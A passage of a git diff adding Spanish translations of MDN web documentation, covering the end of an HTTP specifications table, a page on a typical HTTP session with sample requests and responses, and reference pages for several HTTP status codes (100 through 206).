+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7725)}}</td>
+   <td>An HTTP Status Code to Report Legal Obstacles</td>
+   <td>On the standard track</td>
+  </tr>
+  <tr>
+   <td>{{rfc(2397)}}</td>
+   <td>The "data" URL scheme</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(3986)}}</td>
+   <td>Uniform Resource Identifier (URI): Generic Syntax</td>
+   <td>Internet Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(5988)}}</td>
+   <td>Web Linking<br>
+    <em>Defines the {{HTTPHeader("Link")}} header</em></td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/id/draft-thomson-hybi-http-timeout-01.html">Experimental spec</a></td>
+   <td>Hypertext Transfer Protocol (HTTP) Keep-Alive Header</td>
+   <td>Informational (Expired)</td>
+  </tr>
+  <tr>
+   <td><a href="http://httpwg.org/http-extensions/client-hints.html">Draft spec</a></td>
+   <td>HTTP Client Hints</td>
+   <td>IETF Draft</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7578)}}</td>
+   <td>Returning Values from Forms: multipart/form-data</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6266)}}</td>
+   <td>Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP)</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(2183)}}</td>
+   <td>Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field<br>
+    <em>Only a subset of syntax of the {{HTTPHeader("Content-Disposition")}} header can be used in the context of HTTP messages.</em></td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7239)}}</td>
+   <td>Forwarded HTTP Extension</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6455)}}</td>
+   <td>The WebSocket Protocol</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(5246)}}</td>
+   <td>The Transport Layer Security (TLS) Protocol Version 1.2<br>
+    <em>This specification has been modified by subsequent RFCs, but these modifications have no effect on the HTTP protocol.</em></td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td><a href="https://tlswg.github.io/tls13-spec/)">Draft spec</a></td>
+   <td>The Transport Layer Security (TLS) Protocol Version 1.3<br>
+    <em>Once ready, this protocol will supersede TLS 1.2.</em></td>
+   <td>IETF Draft</td>
+  </tr>
+  <tr>
+   <td>{{rfc(2817)}}</td>
+   <td>Upgrading to TLS Within HTTP/1.1</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7540)}}</td>
+   <td>Hypertext Transfer Protocol Version 2 (HTTP/2)</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7541)}}</td>
+   <td>HPACK: Header Compression for HTTP/2</td>
+   <td>On the standard track</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7838)}}</td>
+   <td>HTTP Alternative Services</td>
+   <td>On the standard track</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7301)}}</td>
+   <td>Transport Layer Security (TLS) Application-Layer Protocol Negotiation Extension<br>
+    <em>Used to negotiate HTTP/2 at the transport to save an extra request/response round trip.</em></td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6454)}}</td>
+   <td>The Web Origin Concept</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td>
+   <td>Cross-Origin Resource Sharing</td>
+   <td>{{Spec2("Fetch")}}</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7034)}}</td>
+   <td>HTTP Header Field X-Frame-Options</td>
+   <td>Informational</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6797)}}</td>
+   <td>HTTP Strict Transport Security (HSTS)</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Upgrade Insecure Requests")}}</td>
+   <td>Upgrade Insecure Requests</td>
+   <td>{{Spec2("Upgrade Insecure Requests")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSP 1.0")}}</td>
+   <td>Content Security Policy 1.0<br>
+    <em>CSP 1.1 and CSP 3.0 doesn't extend the HTTP standard</em></td>
+   <td>{{Spec2("CSP 1.0")}}</td>
+  </tr>
+  <tr>
+   <td><a href="https://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx">Microsoft document</a></td>
+   <td>Specifying legacy document modes*<br>
+    <em>Defines X-UA-Compatible</em></td>
+   <td>Note</td>
+  </tr>
+  <tr>
+   <td>{{rfc(5689)}}</td>
+   <td>HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)<br>
+    <em>These extensions of the Web, as well as CardDAV and CalDAV, are out-of-scope for HTTP on the Web. Modern APIs for application are defines using the RESTful pattern nowadays.</em></td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(2324)}}</td>
+   <td>Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0)</td>
+   <td>April 1st joke spec</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7168)}}</td>
+   <td>The Hyper Text Coffee Pot Control Protocol for Tea Efflux Appliances (HTCPCP-TEA)</td>
+   <td>April 1st joke spec</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG")}}</td>
+   <td>HTML<br>
+    <em>Defines extensions of HTTP for Server-Sent Events</em></td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.w3.org/2011/tracking-protection/drafts/tracking-dnt.html">Tracking Preference Expression</a></td>
+   <td>DNT header</td>
+   <td>Editor's draft / Candidate recommendation</td>
+  </tr>
+  <tr>
+   <td><a href="http://wicg.github.io/reporting/">Reporting API</a></td>
+   <td><code>Report-To</code> header</td>
+   <td>Draft</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/es/web/http/sesión/index.html b/files/es/web/http/sesión/index.html
new file mode 100644
index 0000000000..3d6e2d938b
--- /dev/null
+++ b/files/es/web/http/sesión/index.html
@@ -0,0 +1,158 @@
+---
+title: Una típica sesión de HTTP
+slug: Web/HTTP/Sesión
+translation_of: Web/HTTP/Session
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>En los protocolos basados en el modelo cliente-servidor, como es el caso del HTTP, una sesión consta de tres fases:</p>
+
+<ol>
+ <li>El cliente establece una conexión TCP (o la conexión correspondiente si la capa de transporte corresponde a otro protocolo).</li>
+ <li>El cliente manda su petición, y espera por la respuesta. </li>
+ <li>El servidor procesa la petición, y responde con un código de estado y los datos correspondientes.</li>
+</ol>
+
+<p>A partir del protocolo HTTP/1.1 la conexión, no se cierra al finalizar la tercera fase, y el cliente puede continuar realizando peticiones. Esto significa que la segunda y tercera fase, pueden repetirse cualquier número de veces.</p>
+
+<h2 id="Estableciendo_una_conexión">Estableciendo una conexión</h2>
+
+<p>En un protocolo cliente servidor, es siempre el cliente el que establece la conexión. Iniciar una conexión en HTTP, implica iniciar una conexión en el protocolo correspondiente a la capa de comunicación subyacente, que normalmente es TCP. </p>
+
+<p>En TCP el puerto por defecto, para un servidor HTTP en un computador, es el puerto 80. Se pueden usar otros puertos como el 8000 o el 8080. La URL de la página pedida contiene tanto el nombre del dominio, como el número de puerto, aunque este puede ser omitido, si se trata del puerto 80.  Véase la referencia de <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identificación de recursos en la Web</a> para más detalles.</p>
+
+<div class="note"><strong>Nota:</strong> El modelo cliente-servidor no permite que el servidor mande datos al cliente sin una petición explicita. Como solución parcial a este problema, los desarrolladores web, usan varias técnicas, como hacer un ping al servidor periódicamente, mediante {{domxref("XMLHTTPRequest")}}, {{domxref("Fetch")}} APIs, o usar la HTML  <a href="/en/WebSockets" title="en/WebSockets">WebSockets API</a> o protocolos similares.</div>
+
+<h2 id="Mandando_una_petición">Mandando una petición</h2>
+
+<p>Una vez la conexión está establecida, el cliente, puede mandar una petición de datos (normalmente es un navegador, u otra cosa, como una 'araña' ( o 'crawler' en inglés), un sistema de indexación automático de páginas web). La  petición de datos de un cliente HTTP, consiste en directivas de texto, separadas mediante CRLF (retorno de carro, y cambio de linea), y se divide en tres partes:</p>
+
+<ol>
+ <li>La primera parte, consiste en una linea, que contiene un método, seguido de sus parámetros:
+  <ul>
+   <li>la dirección del documento pedido: por ejemplo su URL completa, sin indicar el protocolo o el nombre del dominio.</li>
+   <li>la versión del protocolo HTTP</li>
+  </ul>
+ </li>
+ <li>La siguiente parte, está formada por un bloque de líneas consecutivas, que representan las cabeceras de la petición HTTP, y dan información al servidor, sobre que tipo de datos es apropiado (como qué lenguaje usar, o el tipo MIME a usar), u otros datos que modifiquen su comportamiento (como que no envié la respuesta si ya está cacheada). Estas cabeceras HTTP forman un bloque que acaba con una línea en blanco. </li>
+ <li>La parte final es un bloque de datos opcional, que puede contener más datos para ser usados por el método POST.</li>
+</ol>
+
+<h3 id="Ejemplo_de_peticiones">Ejemplo de peticiones</h3>
+
+<p>Si queremos una página web, como por ejemplo: <a class="linkification-ext external" href="/" title="Linkification: http://developer.mozilla.org/">http://developer.mozilla.org/</a>, y además le indicamos al servidor que se preferiría la página en Francés, si fuera posible:</p>
+
+<pre>GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr
+
+</pre>
+
+<p>Observe la línea vacía al final, que separa el bloque de datos, del bloque de cabecera. Como no existe el campo <code>Content-Length</code> en la cabecera de HTTP, el bloque de datos está vacío, y ahí está el fin de la cabecera, permitiendo al servidor procesar la petición en el momento que recibe la línea vacía.</p>
+
+<p>Otro ejemplo, en el caso del envío de los datos de un formulario, la trama es:</p>
+
+<pre>POST /contact_form.php HTTP/1.1
+Host: developer.mozilla.org
+Content-Length: 64
+Content-Type: application/x-www-form-urlencoded
+
+name=Juan%20Garcia&amp;request=Envieme%20uno%20de%20sus%20catalogos
+</pre>
+
+<h3 id="Métodos_de_peticiones">Métodos de peticiones</h3>
+
+<p>HTTP define un conjunto de <a href="/en-US/docs/Web/HTTP/Methods">métodos de peticiones</a>  en los que se indican las acciones que se piden realizar al recibir un conjunto de datos. A pesar de que pueden referirse como 'nombres', estos métodos de petición, son denominados a veces como 'verbos' de HTTP.  La peticiones más comunes son  <code>GET</code> y <code>POST</code>:</p>
+
+<ul>
+ <li>El método {{HTTPMethod("GET")}} hace una petición de un recurso específico. Las peticiones con <code>GET</code> unicamente hacen peticiones de datos.</li>
+ <li>El método {{HTTPMethod("POST")}} envía datos al servidor de manera que este pueda cambiar su estado. Este es el método usado normalmente para enviar los datos de un  <a href="/en-US/docs/Web/Guide/HTML/Forms">formulario HTML</a>.</li>
+</ul>
+
+<h2 id="Estructura_de_la_respuesta_del_servidor">Estructura de la respuesta del servidor</h2>
+
+<p>Después de que el agente de usuario envía su petición, el servidor web lo procesa, y a continuación responde. De forma similar a la petición del servidor, la respuesta del servidor está formada por directivas de texto, separadas por el carácter CRLF, y divida en tres bloques.</p>
+
+<ol>
+ <li>La primera línea, es la línea de estado, que consiste en una confirmación del la versión de HTTP utilizado, y seguido por el estado de la petición (y una breve descripción de este, en formato de texto, que pueda ser leído por personas). </li>
+ <li>Las líneas siguientes representan cabeceras de HTTP concretas, dando al cliente información sobre los datos enviado( por ejemplo, sy tipo, su tamaño, algoritmos de compresión utilizados, y sugerencias para el cacheo). Al igual que las cabeceras HTTP de la petición de un cliente, las cabeceras HTTP del servidor, finalizan con una línea vacía.</li>
+ <li>El bloque final, es el bloque que puede contener opcionalmente los datos.</li>
+</ol>
+
+<h3 id="Ejemplos_de_respuestas">Ejemplos de respuestas</h3>
+
+<p>La respuesta correcta de una página web, es como sigue: </p>
+
+<pre>HTTP/1.1 200 OK
+Date: Sat, 09 Oct 2010 14:28:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
+ETag: "51142bc1-7449-479b075b2891b"
+Accept-Ranges: bytes
+Content-Length: 29769
+Content-Type: text/html
+
+&lt;!DOCTYPE html... <em><strong>(aquí estarían los 29769 bytes de la página web pedida)</strong></em>
+
+</pre>
+
+<p>La respuesta para la petición de datos que han sido movidos permanentemente, sería: </p>
+
+<pre>HTTP/1.1 301 Moved Permanently
+Server: Apache/2.2.3 (Red Hat)
+Content-Type: text/html; charset=iso-8859-1
+Date: Sat, 09 Oct 2010 14:30:24 GMT
+Location: <a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a> <strong><em>(este es el nuevo enlace a los datos; se espera que el agente de usuario lo pida a continuación)</em></strong>
+Keep-Alive: timeout=15, max=98
+Accept-Ranges: bytes
+Via: Moz-Cache-zlb05
+Connection: Keep-Alive
+X-Cache-Info: caching
+X-Cache-Info: caching
+Content-Length: 325 <em><strong>(se da una página por defecto para mostrar en el caso de que el agente de usuario no sea capaz de seguir el enlace)</strong></em>
+
+&lt;!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"&gt;
+&lt;html&gt;&lt;head&gt;
+&lt;title&gt;301 Movido permanentemente&lt;/title&gt;
+&lt;/head&gt;&lt;body&gt;
+&lt;h1&gt;Movido de forma permanente&lt;/h1&gt;
+&lt;p&gt;El documento ha sido movido &lt;a href="<a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a>"&gt;aquí&lt;/a&gt;.&lt;/p&gt;
+&lt;hr&gt;
+&lt;address&gt;Apache/2.2.3 (Red Hat) Servidor en: developer.mozilla.org Port 80&lt;/address&gt;
+&lt;/body&gt;&lt;/html&gt;
+
+</pre>
+
+<p>Una notificación de que los datos pedidos no existen:</p>
+
+<pre>HTTP/1.1 404 Not Found
+Date: Sat, 09 Oct 2010 14:33:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 May 2007 14:24:39 GMT
+ETag: "499fd34e-29ec-42f695ca96761;48fe7523cfcc1"
+Accept-Ranges: bytes
+Content-Length: 10732
+Content-Type: text/html
+
+&lt;!DOCTYPE html... <strong><em>(contiene una página personalizada de ayuda al usuario para que pueda encontrar los datos que busca)</em></strong>
+
+</pre>
+
+<h3 id="Códigos_de_estado_de_las_respuestas">Códigos de estado de las respuestas</h3>
+
+<p>Los <a href="/en-US/docs/Web/HTTP/Status">códigos de estado de las respuestas</a> indican si una petición HTTP ha sido finalizada correctamente. Las respuestas se agrupan en cinco clases: respuestas informativas, respuestas de finalización correcta, redirecciones, errores del cliente y errores del servidor.</p>
+
+<ul>
+ <li>{{HTTPStatus(200)}}: OK. La petición ha sido procesada correctamente</li>
+ <li>{{HTTPStatus(301)}}: Datos movidos permanentemente. Este código de respuesta indica que la URI de los datos pedidos ha cambiado.</li>
+ <li>{{HTTPStatus(404)}}: Datos no encontrados. El servidor no puede localizar los datos pedidos. </li>
+</ul>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identificación de recursos en la Web</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Headers">Cabeceras HTTP</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Methods">Métodos de petición HTTP</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Status">Códigos de estados de respuesta HTTP</a></li>
+</ul>
diff --git a/files/es/web/http/status/100/index.html b/files/es/web/http/status/100/index.html
new file mode 100644
index 0000000000..dad9e304c9
--- /dev/null
+++ b/files/es/web/http/status/100/index.html
@@ -0,0 +1,47 @@
+---
+title: 100 Continue
+slug: Web/HTTP/Status/100
+tags:
+  - Códigos de estado
+  - HTTP
+  - Informativa
+  - continue
+translation_of: Web/HTTP/Status/100
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El código de respuesta de estado informativo <strong><code>100 Continue</code></strong> indica que todo hasta ahora está bien y que el cliente debe continuar con la solicitud o ignorarlo si ya está terminado.</p>
+
+<p>Para que un servidor verifique los encabezados de la solicitud, un cliente debe enviar {{HTTPHeader("Expect")}}<code>: 100-continue</code> como encabezado en su solicitud inicial y recibe un código de estado <code>100 Continue</code> en respuesta antes de enviar el cuerpo.</p>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">100 Continue</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "100 Continue" , "6.2.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.100")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Expect")}}</li>
+ <li>{{HTTPStatus(417)}}</li>
+</ul>
diff --git a/files/es/web/http/status/101/index.html b/files/es/web/http/status/101/index.html
new file mode 100644
index 0000000000..0b9c4556e5
--- /dev/null
+++ b/files/es/web/http/status/101/index.html
@@ -0,0 +1,56 @@
+---
+title: 101 Switching Protocols
+slug: Web/HTTP/Status/101
+tags:
+  - Códigos de estado
+  - Estados
+  - HTTP
+  - HTTP Status Code
+  - Información
+  - Referencia
+  - WebSockets
+translation_of: Web/HTTP/Status/101
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>El código de respuesta <code><strong>101 Switching Protocols </strong></code> que el servidor está cambiando de protocolo al solicitado por un cliente que mandó un mensaje incluyendo la cabecera {{HTTPHeader("Upgrade")}}.</div>
+
+<div> </div>
+
+<p>El servidor incluye en esta respuesta una cabecera {{HTTPHeader("Upgrade")}} para indicar a qué protocolo ha cambiado. El proceso se describe en detalle en el artículo<a href="/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism"> Protocol upgrade mechanism</a>.</p>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">101 Switching Protocols</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>El cambio de protocolos se podría usar con <a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a>.</p>
+
+<pre>HTTP/1.1 101 Switching Protocols
+Upgrade: websocket
+Connection: Upgrade</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "101 Switching Protocol" , "6.2.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism">Protocol upgrade mechanism</a></li>
+ <li><a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a></li>
+ <li>{{HTTPHeader("Upgrade")}}</li>
+ <li>{{HTTPStatus("426")}} <code>Upgrade Required</code></li>
+</ul>
diff --git a/files/es/web/http/status/200/index.html b/files/es/web/http/status/200/index.html
new file mode 100644
index 0000000000..fda6c749f7
--- /dev/null
+++ b/files/es/web/http/status/200/index.html
@@ -0,0 +1,54 @@
+---
+title: 200 OK
+slug: Web/HTTP/Status/200
+tags:
+  - Codigo de Estado
+  - HTTP
+  - Éxito
+translation_of: Web/HTTP/Status/200
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span id="result_box" lang="es"><span>El código de respuesta de estado satisfactorio HTTP </span></span><strong><code>200 OK</code></strong><span lang="es"><span> indica que la solicitud ha tenido éxito.</span> <span>Una respuesta 200 es almacenable de forma predeterminada.</span></span></p>
+
+<p><span id="result_box" lang="es"><span>El significado de un éxito depende del método de solicitud HTTP:</span></span></p>
+
+<ul>
+ <li>{{HTTPMethod("GET")}}: <span lang="es">El recurso ha sido recuperado y se transmite el mensaje al body</span>.</li>
+ <li>{{HTTPMethod("HEAD")}}: Los encabezados de entidad estan en el body del mensaje.</li>
+ <li>{{HTTPMethod("POST")}}: <span lang="es">El recurso que describe el resultado de la acción se transmite en el body del mensaje</span>.</li>
+ <li>{{HTTPMethod("TRACE")}}: El body del mensaje contiene el mensaje de solicitud tal como lo recibió el servidor.</li>
+</ul>
+
+<p>El resultado exitoso de un método {{HTTPMethod("PUT")}} o uno {{HTTPMethod("DELETE")}} no es a menudo un <code>200</code> <code>OK</code> sino un {{HTTPStatus("204")}} <code>No Content</code> (o un {{HTTPStatus("201")}} <code>Created</code> cuando el recurso es subido por primera vez).</p>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">200 OK</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Titulo</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "200 OK" , "6.3.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">La tabla de compatibilidades en esta página se genera desde datos estructurados. Si quiere contribuir a con datos, porfavor vaya a <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos una pull request.</p>
+
+<p>{{Compat("http.status.200")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a></li>
+</ul>
diff --git a/files/es/web/http/status/201/index.html b/files/es/web/http/status/201/index.html
new file mode 100644
index 0000000000..e3218daa76
--- /dev/null
+++ b/files/es/web/http/status/201/index.html
@@ -0,0 +1,41 @@
+---
+title: 201 Created
+slug: Web/HTTP/Status/201
+translation_of: Web/HTTP/Status/201
+---
+<p><span lang="es">El código de respuesta de estado de éxito creado HTTP </span><strong><code>201 Created</code></strong><span lang="es"> indica que la solicitud ha tenido éxito y ha llevado a la creación de un recurso. El nuevo recurso se crea efectivamente antes de enviar esta respuesta. y el nuevo recurso se devuelve en el cuerpo del mensaje, su ubicación es la URL de la solicitud o el contenido del encabezado de </span>la Ubicacion</p>
+
+<p><span lang="es">El caso de uso común de este código de estado es el resultado de una solicitud </span>metodo POST</p>
+
+<p> </p>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox">201 Created</pre>
+
+<h2 id="Especificaciones"><font><font>Especificaciones</font></font></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col"><font><font>Especificacion </font></font></th>
+   <th scope="col">Titulo</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "201 Created" , "6.3.2")}}</td>
+   <td>Protocolo de transferencia de hipertexto (HTTP / 1.1): Semántica y contenido</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores"><font><font>Compatibilidad entre navegadores</font></font></h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, visite https://github.com/mdn/browser-compat-data y envíenos una solicitud de extracción.</p>
+
+<p>{{Compat("http.status.201")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a></li>
+</ul>
diff --git a/files/es/web/http/status/202/index.html b/files/es/web/http/status/202/index.html
new file mode 100644
index 0000000000..0580fd81e4
--- /dev/null
+++ b/files/es/web/http/status/202/index.html
@@ -0,0 +1,38 @@
+---
+title: 202 Aceptado
+slug: Web/HTTP/Status/202
+tags:
+  - Codigo de Estado
+  - HTTP
+  - Referencia
+  - Respuesta satisfactoria
+translation_of: Web/HTTP/Status/202
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El código de respueta de estado del Protocolo de Transferencia de Hipertexto (HTTP) <code><strong>202 Aceptado</strong></code> indica que la petición ha sido recibida pero que todavía no se ha actuado al respecto. Es libre, en el sentido de que no hay manera para el HTTP para enviar después una respuesta asíncrona indicando el resultado del procesamiento de la petición. Es pretendida para casos donde otro proceso o servidor maneje la petición, o para procesamiento por lotes.</p>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">202 Aceptado</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "202 Accepted" , "6.3.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept")}}</li>
+</ul>
diff --git a/files/es/web/http/status/203/index.html b/files/es/web/http/status/203/index.html
new file mode 100644
index 0000000000..0b5c036f83
--- /dev/null
+++ b/files/es/web/http/status/203/index.html
@@ -0,0 +1,45 @@
+---
+title: 203 Non-Authoritative Information
+slug: Web/HTTP/Status/203
+tags:
+  - Códigos de respuesta
+  - Códigos de respuestas HTTP
+  - HTTP
+  - Referências
+  - Respuesta satisfactoria
+translation_of: Web/HTTP/Status/203
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El código de respueta de estado del Protocolo de Transferencia de Hipertexto (HTTP) <strong><code>203 Non-Authoritative Information</code></strong> indica que la peticion fue satisfactoria pero su contenido ha sido modificado por un transformador {{Glossary("Proxy server", "proxy")}} desde los origenes del servidor {{HTTPStatus("200")}} (<code>OK</code>) </p>
+
+<p>El código de respuesta <code>203</code> es similar al código <code><a href="/en-US/docs/Web/HTTP/Headers/Warning#Warning_codes">214</a></code>, quiere decir <code>Transformation Applied</code>, of the {{HTTPHeader("Warning")}} header code, que tiene la ventaja adicional de estar disponible para las respuestas con cualquier código.</p>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox notranslate">203 Non-Authoritative Information</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "203 Non-Authoritative Information" , "6.3.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPStatus("200")}}</li>
+ <li>{{Glossary("Proxy server")}}</li>
+ <li>{{HTTPHeader("Warning")}}</li>
+</ul>
diff --git a/files/es/web/http/status/206/index.html b/files/es/web/http/status/206/index.html
new file mode 100644
index 0000000000..38fceffa23
--- /dev/null
+++ b/files/es/web/http/status/206/index.html
@@ -0,0 +1,79 @@
+---
+title: 206 Partial Content
+slug: Web/HTTP/Status/206
+translation_of: Web/HTTP/Status/206
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El  codigo de respuesta con estado exitoso HTTP <strong><code>206 Partial Content</code></strong> indica que la solicitud se ha realizado con exito y el cuerpo contiene los rangos solicitados de la data, como esta descrito en la cabecera  {{HTTPHeader("Range")}} de la solicitud.</p>
+
+<p>Si solo hay un rango, el {{HTTPHeader("Content-Type")}} de toda la respuesta es asignada a un tipo de documento, y un {{HTTPHeader("Content-Range")}} es provisto.</p>
+
+<p>Si muchos rangos son retornados, el {{HTTPHeader("Content-Type")}}  es asignado a <code>multipart/byteranges</code> y cada fragmento cubre un rango, con {{HTTPHeader("Content-Range")}} y  {{HTTPHeader("Content-Type")}} describiendolo .</p>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox">206 Partial Content</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Una respuesta conteniendo un solo rango:</p>
+
+<pre class="newpage">HTTP/1.1 206 Partial Content
+Date: Wed, 15 Nov 2015 06:25:24 GMT
+Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
+Content-Range: bytes 21010-47021/47022
+Content-Length: 26012
+Content-Type: image/gif
+
+... 26012 bytes of partial image data ...</pre>
+
+<p>Una respuesta conteniendo varios rangos:</p>
+
+<pre class="newpage">HTTP/1.1 206 Partial Content
+Date: Wed, 15 Nov 2015 06:25:24 GMT
+Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
+Content-Length: 1741
+Content-Type: multipart/byteranges; boundary=String_separator
+
+--String_separator
+Content-Type: application/pdf
+Content-Range: bytes 234-639/8000
+
+...the first range...
+--String_separator
+Content-Type: application/pdf
+Content-Range: bytes 4590-7999/8000
+
+...the second range
+--String_separator--</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7233", "206 Partial Content" , "4.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
